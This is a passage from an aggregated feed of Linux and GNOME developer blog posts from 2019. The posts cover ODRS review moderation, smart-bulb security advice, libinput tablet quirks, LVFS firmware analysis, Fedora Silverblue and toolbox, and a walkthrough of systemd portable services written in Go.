If all this sounds interesting, and you’d like to know more about the ODRS development, or would like to be a moderator for your language, please join the mailing list and I’ll post there next week when I’ve made the moderator experience nicer than it is now. It’ll also be the place to request help, guidance and also ask for new features.

Initial Fun with the Open Desktop Ratings Service: Swearing!

Posted by Richard Hughes on July 03, 2019 02:30 PM

The ODRS is the service that produces ratings and reviews for gnome-software. I built the service a few years ago, and it’s been dutifully trucking on ever since. There are over 25,000 reviews, 50k votes, and over 4k different applications reviewed. Over half a million clients get application reviews every single day.

Recently it’s been showing signs of needing work, and so I’ve spent a few days converting it to Python 3, then to SQLAlchemy, and then fixing all the broken stuff that we’ve lived with for a while (e.g. no emoji support because we were not using utf8mb4…). Part of the new work will be making it easier to flag and then moderate reviews, and that needs your help. Although any unauthenticated user can report a review for any reason, some reviews should be automatically marked at submission if they contain known bad words. There is almost no reason to write a review in locale en_GB and use the word fuck and so I think marking that review as needing moderation before it’s shown to thousands of people is a sensible thing to do.

To this to work, I can’t just use a blacklist of words as some words are only really vulgar in some regions, and some are perfectly valid words in other languages. For this reason I need the blacklist to be keyed to the submitted locale.

This is where I need your help. If you can spare 2 minutes, and know a lot of dirty words in your language can you please add them to this spreadsheet. Much appreciated.

Which smart bulbs should you buy (from a security perspective)

Posted by Matthew Garrett on June 30, 2019 08:10 PM
People keep asking me which smart bulbs they should buy. It's a great question! As someone who has, for some reason, ended up spending a bunch of time reverse engineering various types of lightbulb, I'm probably a reasonable person to ask. So. There are four primary communications mechanisms for bulbs: wifi, bluetooth, zigbee and zwave. There's basically zero compelling reasons to care about zwave, so I'm not going to.

Wifi


Advantages: Doesn't need an additional hub - you can just put the bulbs wherever. The bulbs can connect out to a cloud service, so you can control them even if you're not on the same network.
Disadvantages: Only works if you have wifi coverage, each bulb has to have wifi hardware and be configured appropriately.
Which should you get: If you search Amazon for "wifi bulb" you'll get a whole bunch of cheap bulbs. Don't buy any of them. They're mostly based on a custom protocol from Zengge and they're shit. Colour reproduction is bad, there's no good way to use the colour LEDs and the white LEDs simultaneously, and if you use any of the vendor apps they'll proxy your device control through a remote server with terrible authentication mechanisms. Just don't. The ones that aren't Zengge are generally based on the Tuya platform, whose security model is to have keys embedded in some incredibly obfuscated code and hope that nobody can find them. TP-Link make some reasonably competent bulbs but also use a weird custom protocol with hand-rolled security. Eufy are fine but again there's weird custom security. Lifx are the best bulbs, but have zero security on the local network - anyone on your wifi can control the bulbs. If that's something you care about then they're a bad choice, but also if that's something you care about maybe just don't let people you don't trust use your wifi.
Conclusion: If you have to use wifi, go with lifx. Their security is not meaningfully worse than anything else on the market (and they're better than many), and they're better bulbs. But you probably shouldn't go with wifi.

Bluetooth


Advantages: Doesn't need an additional hub. Doesn't need wifi coverage. Doesn't connect to the internet, so remote attack is unlikely.
Disadvantages: Only one control device at a time can connect to a bulb, so harder to share. Control device needs to be in Bluetooth range of the bulb. Doesn't connect to the internet, so you can't control your bulbs remotely.
Which should you get: Again, most Bluetooth bulbs you'll find on Amazon are shit. There's a whole bunch of weird custom protocols and the quality of the bulbs is just bad. If you're going to go with anything, go with the C by GE bulbs. Their protocol is still some AES-encrypted custom binary thing, but they use a Bluetooth controller from Telink that supports a mesh network protocol. This means that you can talk to any bulb in your network and still send commands to other bulbs - the dual advantages here are that you can communicate with bulbs that are outside the range of your control device and also that you can have as many control devices as you have bulbs. If you've bought into the Google Home ecosystem, you can associate them directly with a Home and use Google Assistant to control them remotely. GE also sell a wifi bridge - I have one, but haven't had time to review it yet, so make no assertions around its competence. The colour bulbs are also disappointing, with much dimmer colour output than white output.

Zigbee


Advantages: Zigbee is a mesh protocol, so bulbs can forward messages to each other. The bulbs are also pretty cheap. Zigbee is a standard, so you can obtain bulbs from several vendors that will then interoperate - unfortunately there are actually two separate standards for Zigbee bulbs, and you'll sometimes find yourself with incompatibility issues there.
Disadvantages: Your phone doesn't have a Zigbee radio, so you can't communicate with the bulbs directly. You'll need a hub of some sort to bridge between IP and Zigbee. The ecosystem is kind of a mess, and you may have weird incompatibilities.
Which should you get: Pretty much every vendor that produces Zigbee bulbs also produces a hub for them. Don't get the Sengled hub - anyone on the local network can perform arbitrary unauthenticated command execution on it. I've previously recommended the Ikea Tradfri, which at the time only had local control. They've since added remote control support, and I haven't investigated that in detail. But overall, I'd go with the Philips Hue. Their colour bulbs are simply the best on the market, and their security story seems solid - performing a factory reset on the hub generates a new keypair, and adding local control users requires a physical button press on the hub to allow pairing. Using the Philips hub doesn't tie you into only using Philips bulbs, but right now the Philips bulbs tend to be as cheap (or cheaper) than anything else.

But what about


If you're into tying together all kinds of home automation stuff, then either go with Smartthings or roll your own with Home Assistant. Both are definitely more effort if you only want lighting.

My priority is software freedom


Excellent! There are various bulbs that can run the Espurna or AiLight firmwares, but you'll have to deal with flashing them yourself. You can tie that into Home Assistant and have a completely free stack. If you're ok with your bulbs being proprietary, Home Assistant can speak to most types of bulb without an additional hub (you'll need a supported Zigbee USB stick to control Zigbee bulbs), and will support the C by GE ones as soon as I figure out why my Bluetooth transmissions stop working every so often.

Conclusion


Outside niche cases, just buy a Hue. Philips have done a genuinely good job. Don't buy cheap wifi bulbs. Don't buy a Sengled hub.

(Disclaimer: I mentioned a Google product above. I am a Google employee, but do not work on anything related to Home.)

comment count unavailable comments

libinput and tablet proximity handling

Posted by Peter Hutterer on June 19, 2019 12:34 AM

This is merely an update on the current status quo, if you read this post in a year's time some of the details may have changed

libinput provides an API to handle graphics tablets, i.e. the tablets that are used by artists. The interface is based around tools, each of which can be in proximity at any time. "Proximity" simply means "in detectable range". libinput promises that any interaction is framed by a proximity in and proximity out event pair, but getting to this turned out to be complicated. libinput has seen a few changes recently here, so let's dig into those. Remember that proverb about seeing what goes into a sausage? Yeah, that.

In the kernel API, the proximity events for pens are the BTN_TOOL_PEN bit. If it's 1, we're in proximity, if it's 0, we're out of proximity. That's the theory.

Wacom tablets (or rather the kernel driver) always reset all axes on proximity out. So libinput needs to take care not to send a 0 value to the caller, lest you want a jump to the top left corner every time you move the pen away from the tablet. Some Wacom pens have serial numbers and we use those to uniquely identify a tool. But some devices start sending proximity and axis events before we get the serial numbers which means we can't identify the tool until several ms later. In that case we simply discard the serial. This means we cannot uniquely identify those pens but so far no-one has complained.

A bunch of tablets (HUION) don't have proximity at all. For those, we start getting events and then stop getting events, without any other information. So libinput has a timer - if we don't get events for a given time, we force a proximity out. Of course, this means we also need to force a proximity in when the next event comes in. These tablets are common enough that recently we just enabled the proximity timeout for all tablets. Easier than playing whack-a-mole, doubly so because HUION re-uses USD ids so you can't easily identify them anyway.

Some tablets (HP Spectre 13) have proximity but never send it. So they advertise the capability, just don't generate events for it. Same handling as the ones that don't have proximity at all.

Some tablets (HUION) have proximity, but only send it once per plug-in, after that it's always in proximity. Since libinput may start after the first pen interaction, this means we have to a) query the initial state of the device and b) force proximity in/out based on the timer, just like above.

Some tablets (Lenovo Flex 5) sometimes send proximity out events, but sometimes do not. So for those we have a timer and forced proximity events, but only when our last interaction didn't trigger a proximity event.

The Dell Active Pen always sends a proximity out event, but with a delay of ~200ms. That timeout is longer than the libinput timeout so we'll get a proximity out event, but only after we've already forced proximity out. We can just discard that event.

The Dell Canvas pen (identifies as "Wacom HID 4831 Pen") can have random delays of up to ~800ms in its event reporting. Which would trigger forced proximity out events in libinput. Luckily it always sends proximity out events, so we could quirk out to specifically disable the timer.

The HP Envy x360 sends a proximity in for the pen, followed by a proximity in from the eraser in the next event. This is still an unresolved issue at the time of writing.

That's the current state of things, I'm sure it'll change in a few months time again as more devices decide to be creative. They are artist's tools after all.

The lesson to take away here: all of the above are special cases that need to be implemented but this can only be done on demand. There's no way any one person can test every single device out there and testing by vendors is often nonexistent. So if you want your device to work, don't complain on some random forum, file a bug and help with debugging and testing instead.

libinput and the Dell Canvas Totem

Posted by Peter Hutterer on June 18, 2019 11:37 PM

We're on the road to he^libinput 1.14 and last week I merged the Dell Canvas Totem support. "Wait, what?" I hear you ask, and "What is that?". Good question - but do pay attention to random press releases more. The Totem (Dell.com) is a round knob that can be placed on the Dell Canvas. Which itself is a pen and touch device, not unlike the Wacom Cintiq range if you're familiar with those (if not, there's always lmgtfy).

The totem's intended use is as secondary device - you place it on the screen while you're using the pen and up pops a radial menu. You can rotate the totem to select items, click it to select something and bang, you're smiling like a stock photo model eating lettuce. The radial menu is just an example UI, there are plenty others. I remember reading papers about bimanual interaction with similar interfaces that dated back to the 80s, so there's a plethora to choose from. I'm sure someone at Dell has written Totem-Pong and if they have not, I really question their job priorities. The technical side is quite simple, the totem triggers a set of touches in a specific configuration, when the firmware detects that arrangement it knows this isn't a finger but the totem.

Pen and touch we already handle well, but the totem required kernel changes and a few new interfaces in libinput. And that was the easy part, the actual UI bits will be nasty.

The kernel changes went into 4.19 and as usual you can throw noises of gratitude at Benjamin Tissoires. The new kernel API basically boils down to the ABS_MT_TOOL_TYPE axis sending MT_TOOL_DIAL whenever the totem is detected. That axis is (like others of the ABS_MT range) an odd one out. It doesn't work as an axis but rather an enum that specifies the tool within the current slot. We already had finger, pen and palm, adding another enum value means, well, now we have a "dial". And that's largely it in terms of API - handle the MT_TOOL_DIAL and you're good to go.

libinput's API is only slightly more complicated. The tablet interface has a new tool type called the LIBINPUT_TABLET_TOOL_TYPE_TOTEM and a new pair of axes for the tool, the size of the touch ellipse. With that you can get the position of the totem and the size (so you know how big the radial menu needs to be). And that's basically it in regards to the API. The actual implementation was a bit more involved, especially because we needed to implement location-based touch arbitration first.

I haven't started on the Wayland protocol additions yet but I suspect they'll look the same as the libinput API (the Wayland tablet protocol is itself virtually identical to the libinput API). The really big changes will of course be in the toolkits and the applications themselves. The totem is not a device that slots into existing UI paradigms, it requires dedicated support. Whether this will be available in your favourite application is likely going to be up to you. Anyway, christmas in July [1] is coming up so now you know what to put on your wishlist.

[1] yes, that's a thing. Apparently christmas with summery temperature, nice weather, sandy beaches is so unbearable that you have to re-create it in the misery of winter. Explains everything you need to know about humans, really.

WOGUE is no friend of GNOME

Posted by Richard Hughes on June 09, 2019 08:18 PM

Alex Diavatis is the person behind the WOGUE account on YouTube. For a while he’s been posting videos about GNOME. I think the latest idea is that he’s trying to “shame” developers into working harder. From the person who’s again on the other end of his rants it’s having the opposite effect.

We’re all doing our best, and I’m personally balancing about a dozen different plates trying to keep them all spinning. If any of the plates fall on the floor, perhaps helping with triaging bugs, fixing little niggles or just saying something positive might be a good idea. In fact, saying nothing would be better than the sarcasm and making silly videos.

Breaking apart Dell UEFI Firmware CapsuleUpdate packages

Posted by Richard Hughes on June 02, 2019 12:10 PM

When firmware is uploaded to the LVFS we perform online checks on it. For example, one of the tests is looking for known badness like embedded UTF-8/UTF-16 BEGIN RSA PRIVATE KEY strings. As part of this we use CHIPSEC (in the form of chipsec_util -n uefi decode) which searches the binary for a UEFI volume header which is a simple string of _FVH and then decompresses the volumes which we then read back as component shards. This works well on plain EDK2 firmware, and the packages uploaded by Lenovo and HP which use IBVs of AMI and Phoenix. The nice side effect is that we can show the user what binaries have changed, as the vendor might have accidentally forgotten to mention something in the release notes.

The elephants in the room were all the hundreds of archives from Dell which could not be loaded by chipsec with no volume header detected. I spent a few hours last night adding support for these archives, and the secret is here:

  1. Decompress the firmware.cab archive into firmware.bin, disregarding the signing and metadata.
  2. If CHIPSEC fails to analyse firmware.bin, look for a > 512kB decompress-able Zlib section somewhere after the capsule header, actually in the PE binary.
  3. The decompressed blob is in PFS format, which seems to be some Dell-specific format that’s already been reverse engineered.
  4. The PFS blob is not further compressed and is in one continuous block, and so the entire PFS volume can be passed to chipsec for analysis.

The Zlib start offset seems to jump around for each release, and I’ve not found any information in the original PE file that indicates the offset. If anyone wants to give me a hint to avoid searching the multimegabyte blob for two bytes (and then testing if it’s just chance, or indeed an Zlib stream…) I would be very happy, even if you have to remain anonymous.

So, to sum up:

CapsuleHeader
  PE Binary
    Zlib stream
      PFS
        FVH
          PE DXEs
          PE PEIMs
          …

I’ll see if chipsec upstream wants a patch to do this as it’s probably useful outside of the LVFS too.

Firefox & Wayland HiDPI screens

Posted by Martin Stransky on May 30, 2019 12:47 PM

hidpiWhen comes to HiDPI screens and resolutions Firefox has always had some technical debts there. Wayland slightly improved it  but we still miss clean user experience.

We tried hard to improve it and the last piece – hi-res widget rendering – landed in upcoming Firefox 68 (recently Beta). That means Firefox should be fully compatible with HiDPI screens and you shouldn’t see any glitches there.

Also Firefox 68 supports fractional scaling on Fedora 30 / Wayland which gives you more control over the screen resolution. To test it just grab Firefox Beta and try on your own, as:

 MOZ_ENABLE_WAYLAND=1 ./firefox

 

 

Pango future directions

Posted by Matthias Clasen on May 25, 2019 01:55 PM

Pango is in clearly maintenance mode — Behdad and  I have a Pango work day once every few months, whenever we get together somewhere.

But thats about it. Things that we don’t get done in a day often sit unfinished for long times in git branches or issues. Examples for this are the color Emoji support that took many years to land, or the  subpixel positioning work that is still unfinished.

This doesn’t mean that text rendering is in decline. Far from it. In fact, Harfbuzz is more active than ever and has had unprecedented success: All major Web browsers, toolkits, and applications are using it.

We’ve discussed for a while how to best take advantage of Harfbuzz’ success for text rendering on the desktop. Our conclusion is that we have to keep Pango from getting in the way. It should be a thin and translucent layer, and not require us to plumb APIs for every new feature through several internal abstractions.

We have identified several steps that will let us make progress towards this goal.

Unicode APIs

Many libraries provide subsets of Unicode data and APIs: GLib has some. ICU has some, fribidi has some. Even Harfbuzz has some.

Pango really does not need to  provide its own wrappers for text direction or Unicode scripts. Not doing so means we don’t have to update Pango when there is a new version of Unicode.

Harfbuzz passthrough

New font features land regularly in Harfbuzz. By providing direct access to Harfbuzz objects, we can make these available to GTK and applications without adding APIs to Pango.

Stop using freetype

Freetypes FT_Face object has locking semantics that are broken and hard to work with; they are constantly getting in the way as we are juggling hb_fonts, FT_Face and cairo scaled font objects.

We’ve concluded that the best way forward is to stop using freetype for font loading or accessing font and glyph metrics. We can use Harfbuzz for all of these (a small gap will be closed soon).

Using Harfbuzz for font loading means that we will lose support for bitmap and type1 fonts. We think this is an acceptable trade-off, but others might disagree. Note that Harfbuzz does support loading bitmap-only OpenType fonts.

Unified shaping

Shaping is the process of turning a paragraph of text and fonts into a sequence of positioned glyphs for rendering. Historically,  Pango has used a different implementation on each platforms.

Going forward, we want to use Harfbuzz for shaping on all platforms. The web browsers already do this, and it works well. This will let us clean up a lot of old, unused shaping engine abstractions in Pango.

Unhinted rendering

As a general direction, we want to move Pango towards (horizontally) unhinted rendering, combined with subpixel positioning. Other platforms are already doing this. And it gives us resolution-independent layout that is better suited for scalable apis and OpenGL rendering.

 

Do you know what IVBP, ROMB or UTOK are?

Posted by Richard Hughes on May 20, 2019 05:02 PM

First, thanks to everyone for the all the help with UEFI modules. There are a ton left, but also a lot done, so we’re getting there. If anyone is intimately familiar with ME firmware, I’d also really like some help with this Intel Management Engine document too. Thanks!

Donating 5 minutes of your time to help the LVFS

Posted by Richard Hughes on May 13, 2019 11:53 AM

For about every 250 bug reports I recieve I get an email offering to help. Most of the time the person offering help isn’t capable of diving right in the trickiest parts of the code and just wanted to make my life easier. Now I have a task that almost anyone can help with…

For the next version of the LVFS we deploy we’re going to be showing what was changed between each firmware version. Rather than just stating the firmware has changed from SHA1:DEAD to SHA1:BEEF and some high level update description provided by the vendor, we can show the interested user the UEFI modules that changed. I’m still working on the feature and without more data it’s kinda, well, dull. Before I can make the feature actually useful to anyone except a BIOS engineer, I need some help finding out information about the various modules.

In most cases it’s simply googling the name of the module and writing 1-2 lines of a summary about the module. In some cases the module isn’t documented at all, and that’s fine — I can go back to the vendors and ask them for more details about the few we can’t do ourselves. What I can’t do is ask them to explain all 150 modules in a specific firmware release, and I don’t scale to ~2000 Google queries. With the help of EDK2 I’ve already done 213 myself but now I’ve run out of puff.

So, if you have a spare 5 minutes I’d really appreciate some help. The shared spreadsheet is here, and any input is useful. Thanks!

Updating the firmware on new Dell Docks

Posted by Richard Hughes on May 02, 2019 02:55 PM

Yesterday Dell unveiled their new range of docking stations. I’ve had a WD19TB for a few months, and it seems to work fine; you can plug one thunderbolt cable into my XPS 13 and it turns it into a workstation, driving two screens, connecting me to wired Ethernet and connecting all my USB stuff. When I want to run away, I just unplug one thing and my workstation turns back into a portable laptop. The dock also randomly has a headphone out socket, although I like to drive my sound through a USB sound card and S/PDIF anyway.

The impressive bit for me is that Dell wanted firmware upgrading to work perfectly from day 1 – there has been testable firmware embargoed on the LVFS for many weeks. Although the dock is one physical thing, internally it’s made up of different components and subsystems, all with slightly different quirky flashing protocols. Behind the scenes and without great fan-fair, Dell added the “composite firmware” support to fwupd, so not only do the devices look logically correct when using fwupdmgr get-topology it means you can update all the different technology on the device with one .cab file.

This means, to update to the dock I don’t need to tell you lots of technical information about how to update to some super new version of something. Just click on the upgrade button in GNOME Software when the firmware update has been downloaded for you. This is exactly how firmware updates should work – you buy the hardware you need from the shop, plug it in, get the latest bug fixes and features automatically with no “googling” or using crazy commands on the command line.

I’ve also been working with another OEM on their next generation of docking stations. This work can of course piggy-back onto the composite feature when there is hardware ready for test. In my opinion they’re about 9 months behind Dell at this point, so I guess if you want a docking station that’s supported on the LVFS you know what to buy…

Living inside the box

Posted by Matthias Clasen on April 30, 2019 07:31 PM

A few weeks ago, I wrote a post outlining the major improvements in Silverblue that are coming in Fedora 30. Now that Fedora 30 is released, you should go and try them out!

Today, I’ll dive a bit deeper into one particular item from that post which is not Silverblue-specific: the toolbox.

The toolbox experience

I’ll be honest: my path towards using the toolbox has not been 100% smooth.

I’m using the Rawhide version of Silverblue on my laptop, and my ability to use the toolbox has been affected by a number of regressions in the underlying tooling (unprivileged containers, podman and buildah) – which is to be expected for such young technology.

Thankfully, we got it all to work in time for the release, so your experience in Fedora 30 should be much smoother.

First steps

I’m doing all of my GTK and Flatpak development in a toolbox now. A small, but maybe interesting detail: While my host system is bleeding edge rawhide, the toolbox I’m using runs Fedora 30. I created it using the command:

$ toolbox create --release 30

After creating a toolbox, you can enter it using

$ toolbox enter

You will find yourself in another shell. If you pay close attention, you’ll notice that we show a colorful glyph in the prompt as a hint that you are in a different environment.

A minimal base

Entering the toolbox for the first time and looking around, it does not look much like a development environment at all:

$ rpm -q gcc gdb make
package gcc is not installed
package gdb is not installed
package make is not installed

But thankfully, dnf is available, so we can take advantage of the Fedora package universe to install what we need.  Thus, the first steps in working in a toolbox are easy, but a bit repetitive – install things.

I went into my GTK checkout and tried to build it in this environment:

[gtk+] $ meson --prefix=/usr build
bash: meson: command not found...

[gtk+] $ sudo dnf install meson
...

After a few rounds of installing missing dependencies, I eventually got to the point where GTK buit successfully.

From then on, everything basically worked as normal. Running tests and examples that I’ve build works just fine since the toolbox takes care of setting up DISPLAY, etc. I still had to install the occasional missing tool, such as vim or gdb, but development works just as it did before.

Some things are different, though.

A different perspective

In the past, I’ve done GTK development on a Fedora Workstation system, which means that many things are always installed, whether I think of them or not: icon themes, cursor themes, 3rd party pixbuf loaders, mime handlers, and many other things that make up a full desktop.

Working in a toolbox gives a somewhat different perspective. As explained earlier, the toolbox is created from a pretty minimal base (the fedora-toolbox image). None of the things I listed above are in it. Since they are not build dependencies, I didn’t get around to installing them at first either.

And I got to see how gtk-widget-factory and other demos look when they are missing – that has let to several bug fixes and improvements in the way GTK handles such situations.

A maybe unexpected beneficiary: other platforms, such as Windows, where it is much more likely that GTK will be installed without some of these extras.

Overall, I’m quite happy with this way of doing development.

Trying it out

I hope you are now eager to try it out yourself. You can do that on a traditional Fedora 30 system just as easily as on a Silverblue installation.

One thing I will recommend is that you should install the 0-day updates for the toolbox and gnome-terminal – we’ve worked hard during the freeze to make the toolbox as polished and welcoming as we can, and the result is in these updates.

Enjoy! ❤

Remember the extra metadata if you change a desktop ID!

Posted by Richard Hughes on April 23, 2019 11:48 AM

This is important if you’re the upstream maintainer of an application: If you change the desktop ID then it’s like breaking API. Changing a desktop ID should be done carefully and in a development branch only — and then you need to communicate it and give the distros a chance to adapt to the new name.

If you’re just changing the desktop ID and not forking development, you also need to add something like this in your metainfo.xml file:

  <provides>
    <id>old-name.desktop</id>
  </provides>

GNOME Software gets lots of bugs about showing “duplicate” search results, but there’s no reliable way it can know that calibre-gui.desktop is the same app as com.calibre_ebook.calibre without some help. If you’re a packager building an application for something like Flathub you only need to include the extra provides line if you’re adding a new metainfo.xml file rather than just using rename-appdata-file in the JSON file.

Using a client certificate to set the attestation checksum

Posted by Richard Hughes on April 10, 2019 08:02 PM

For a while, fwupd has been able to verify the PCR0 checksum for the system firmware. The attestation checksum can be used to verify that the installed firmware matches that supplied by the vendor and means the end user is confident the firmware has not been modified by a 3rd party. I think this is really an important and useful thing the LVFS can provide. The PCR0 value can easily be found using tpm2_pcrlist if the TPM is in v2.0 mode, or cat /sys/class/tpm/tpm0/pcrs if the TPM is still in v1.2 mode. It is also reported in the fwupdmgr get-devices output for versions of fwupd >= 1.2.2.

The device checksum as a PCR0 is slightly different than a device checksum for a typical firmware. For instance, a DFU device checksum can be created using sha256sum firmware.bin (assuming the image is 100% filling the device) and you don’t actually have to flash the image to the hardware to get the device checksum out. For a UEFI UpdateCapsule you need to schedule the update, reboot, then read back the PCR0 from the hardware. There must be an easier way…

Assuming you have a vendor account on the LVFS, first upload the client certificate for your user account to the LVFS:

Then, assuming you’re using fwupd >= 1.2.6 you can now do this:

fwupdmgr refresh
fwupdmgr update
…reboot…
fwupdmgr report-history --sign

Notice the –sign there? Looking back at the LVFS, there now exists a device checksum:

This means the firmware gets the magic extra green tick that makes everyone feel a lot happier:

Developer tool for i18n: “Pseudolocale”

Posted by Bastien Nocera on April 06, 2019 10:41 AM
While browsing for some internationalisation/localisation features, I found an interesting piece of functionality in Android's developer documentation. I'll quote it here:
A pseudolocale is a locale that is designed to simulate characteristics of languages that cause UI, layout, and other translation-related problems when an app is translated.
I've now implemented this for applications and libraries that use gettext, as an LD_PRELOAD library, available from this repository.


The current implementation can highlight a number of potential problems (paraphrasing the Android documentation again):
- String concatenation, which displays as one message split across 2 or more brackets.
- Hard-coded strings, which cannot be sent to translation, display as unaccented text in the pseudolocale to make them easy to notice.
- Right-to-left (RTL) problems such as elements not being mirrored.

Our old friend, Office Runner 


Testing brought some unexpected results :)

Silverblue at 1

Posted by Matthias Clasen on April 03, 2019 05:53 PM

It has been a bit more than a year that we’ve set up the Atomic Workstation SIG. A little later,  we settled on the name Silverblue, and did a preview release with Fedora 29.

The recent F30 beta release is an good opportunity to look back. What have we achieved?

When we set out to turn Atomic Workstation into an every-day-usable desktop, we had a list of items that we knew needed to be addressed. As it turns out, we have solved most of them, or are very close to that.

Here is an unsorted list.

Full Flatpak support

GNOME Software already had support for installing Flatpaks, a year ago, so this is not 100% new. But the support has been greatly improved with the port to libflatpak – GNOME Software is now using the same code as the Flatpak commandline. And  more recently, it learned to display information about sandbox permissions, so that users can see what level of system access the installed applications have.

This information is now also available in the new Application Settings panel. The panel also offers some control over permissions and lets you clean up storage per application.

A Flatpak registry

Flathub is a great place to find desktop applications – there are over 500 now. But since we can’t enable Flathub by default, we have looked for an alternative, and started to provide Flatpak apps in the Fedora container registry. This is taking advantage of Flatpaks support for the OCI format, and uses the Fedora module-build-system.

GNOME Software support for rpm-ostree

GNOME Software was designed as an application installer, but it also provides the UI for OS updates and upgrades. On a Silverblue system, that means supporting rpm-ostree. GNOME Software has learned to do this.

Another bit of functionality for which GNOME Software was traditionally talking to PackageKit is Addons. These are things that could be classified as system extensions: fonts, language support, shell extensions,, etc.  On a Silverblue system, the direct replacement is to use the rpm-ostree layering capability to add such packages to the OS image. GNOME Software knows how to do this now. It is not ideal, since you probably don’t expect to have to reboot your system for installing a font. But it gets us the basic functionality back until we have better solutions for system extensions.

Nvidia driver support

One class of system extensions that I haven’t mention in the previous section is drivers.  If you have an Nvidia graphics card, you may want the Nvidia driver to make best use of your hardware.  The situation with the Nvidia drivers is a little more complicated than with plain rpms, since the rpm needs to match your kernel, and if you don’t have the right driver, your system may boot to a black screen.

These complications are not unique to Silverblue, and the traditional solution for this in Fedora is to use the akmod system to build drivers that match your kernel. With Fedora 30, we put the necessary changes in place in rpm-ostree and the OS image to make this work for Silverblue as well.

Third-party rpms

Fedora contains a lot of apps, but there’s always the odd one that you can’t find in the repositories. A popular app in this category is the Chrome browser. Thankfully, Google provides an rpm that works on Fedora. But, it installs its content into /opt. That is not technically wrong, but causes a problem on Silverblue, since rpm-ostree has so far insisted on keeping packaged content under its tight control in /usr.

Ultimatively, we  want to see apps shipped as Flatpaks, but for Fedora 30, we have managed to get rpm-ostree to handle this situation, so chrome and similar 3rd party rpms can now be installed via package layering on Silverblue.

A toolbox

An important target audience for Fedora Workstation is developers. Not being able to install toolchains and libraries (because the OS is immutable) is obviously not going to make this audience happy.

The short answer is: switch to container-based workflows. Its the future!

But that doesn’t excuse us  from making these workflows easy and convenient for people who are used to the power of the commandline. So, we had to come up with a better answer, and started to develop the toolbox. The toolbox is a commandline tool to take the pain out of working with ‘pet’ containers. With a single command,

toolbox enter

it gives you a ‘traditional’ Fedora environment with dnf,  where you can install the packages you need. The toolbox has the infrastructure to manage multiple named containers, so you can work on different projects in parallel without interference.

Whats missing?

There are many bigger and smaller things that can still be improved – software is never finished. To name just a few:

  • Make IDEs work well with containers on an immutable OS
  • Codec availability and installation
  • Handle “difficult” applications such as virtualbox well
  • Find better ways to handle system extensions

But we’ve come a long way in the one year since I’ve started using Atomic Workstation as my day-to-day OS.

If you want to see for yourself, download the F30 beta image and give it a try!

Walkthrough for Portable Services in Go

Posted by Lennart Poettering on April 02, 2019 10:00 PM

Portable Services Walkthrough (Go Edition)

A few months ago I posted a blog story with a walkthrough of systemd Portable Services. The example service given was written in C, and the image was built with mkosi. In this blog story I'd like to revisit the exercise, but this time focus on a different aspect: modern programming languages like Go and Rust push users a lot more towards static linking of libraries than the usual dynamic linking preferred by C (at least in the way C is used by traditional Linux distributions).

Static linking means we can greatly simplify image building: if we don't have to link against shared libraries during runtime we don't have to include them in the portable service image. And that means pretty much all need for building an image from a Linux distribution of some kind goes away as we'll have next to no dependencies that would require us to rely on a distribution package manager or distribution packages. In fact, as it turns out, we only need as few as three files in the portable service image to be fully functional.

So, let's have a closer look how such an image can be put together. All of the following is available in this git repository.

A Simple Go Service

Let's start with a simple Go service, an HTTP service that simply counts how often a page from it is requested. Here are the sources: main.go — note that I am not a seasoned Go programmer, hence please be gracious.

The service implements systemd's socket activation protocol, and thus can receive bound TCP listener sockets from systemd, using the $LISTEN_PID and $LISTEN_FDS environment variables.

The service will store the counter data in the directory indicated in the $STATE_DIRECTORY environment variable, which happens to be an environment variable current systemd versions set based on the StateDirectory= setting in service files.

Two Simple Unit Files

When a service shall be managed by systemd a unit file is required. Since the service we are putting together shall be socket activatable, we even have two: portable-walkthrough-go.service (the description of the service binary itself) and portable-walkthrough-go.socket (the description of the sockets to listen on for the service).

These units are not particularly remarkable: the .service file primarily contains the command line to invoke and a StateDirectory= setting to make sure the service when invoked gets its own private state directory under /var/lib/ (and the $STATE_DIRECTORY environment variable is set to the resulting path). The .socket file simply lists 8088 as TCP/IP port to listen on.

An OS Description File

OS images (and that includes portable service images) generally should include an os-release file. Usually, that is provided by the distribution. Since we are building an image without any distribution let's write our own version of such a file. Later on we can use the portablectl inspect command to have a look at this metadata of our image.

Putting it All Together

The four files described above are already every file we need to build our image. Let's now put the portable service image together. For that I've written a Makefile. It contains two relevant rules: the first one builds the static binary from the Go program sources. The second one then puts together a squashfs file system combining the following:

  1. The compiled, statically linked service binary
  2. The two systemd unit files
  3. The os-release file
  4. A couple of empty directories such as /proc/, /sys/, /dev/ and so on that need to be over-mounted with the respective kernel API file system. We need to create them as empty directories here since Linux insists on directories to exist in order to over-mount them, and since the image we are building is going to be an immutable read-only image (squashfs) these directories cannot be created dynamically when the portable image is mounted.
  5. Two empty files /etc/resolv.conf and /etc/machine-id that can be over-mounted with the same files from the host.

And that's already it. After a quick make we'll have our portable service image portable-walkthrough-go.raw and are ready to go.

Trying it out

Let's now attach the portable service image to our host system:

# portablectl attach ./portable-walkthrough-go.raw
(Matching unit files with prefix 'portable-walkthrough-go'.)
Created directory /etc/systemd/system.attached.
Created directory /etc/systemd/system.attached/portable-walkthrough-go.socket.d.
Written /etc/systemd/system.attached/portable-walkthrough-go.socket.d/20-portable.conf.
Copied /etc/systemd/system.attached/portable-walkthrough-go.socket.
Created directory /etc/systemd/system.attached/portable-walkthrough-go.service.d.
Written /etc/systemd/system.attached/portable-walkthrough-go.service.d/20-portable.conf.
Created symlink /etc/systemd/system.attached/portable-walkthrough-go.service.d/10-profile.conf → /usr/lib/systemd/portable/profile/default/service.conf.
Copied /etc/systemd/system.attached/portable-walkthrough-go.service.
Created symlink /etc/portables/portable-walkthrough-go.raw → /home/lennart/projects/portable-walkthrough-go/portable-walkthrough-go.raw.

The portable service image is now attached to the host, which means we can now go and start it (or even enable it):

# systemctl start portable-walkthrough-go.socket

Let's see if our little web service works, by doing an HTTP request on port 8088:

# curl localhost:8088
Hello! You are visitor #1!

Let's try this again, to check if it counts correctly:

# curl localhost:8088
Hello! You are visitor #2!

Nice! It worked. Let's now stop the service again, and detach the image again:

# systemctl stop portable-walkthrough-go.service portable-walkthrough-go.socket
# portablectl detach portable-walkthrough-go
Removed /etc/systemd/system.attached/portable-walkthrough-go.service.
Removed /etc/systemd/system.attached/portable-walkthrough-go.service.d/10-profile.conf.
Removed /etc/systemd/system.attached/portable-walkthrough-go.service.d/20-portable.conf.
Removed /etc/systemd/system.attached/portable-walkthrough-go.service.d.
Removed /etc/systemd/system.attached/portable-walkthrough-go.socket.
Removed /etc/systemd/system.attached/portable-walkthrough-go.socket.d/20-portable.conf.
Removed /etc/systemd/system.attached/portable-walkthrough-go.socket.d.
Removed /etc/portables/portable-walkthrough-go.raw.
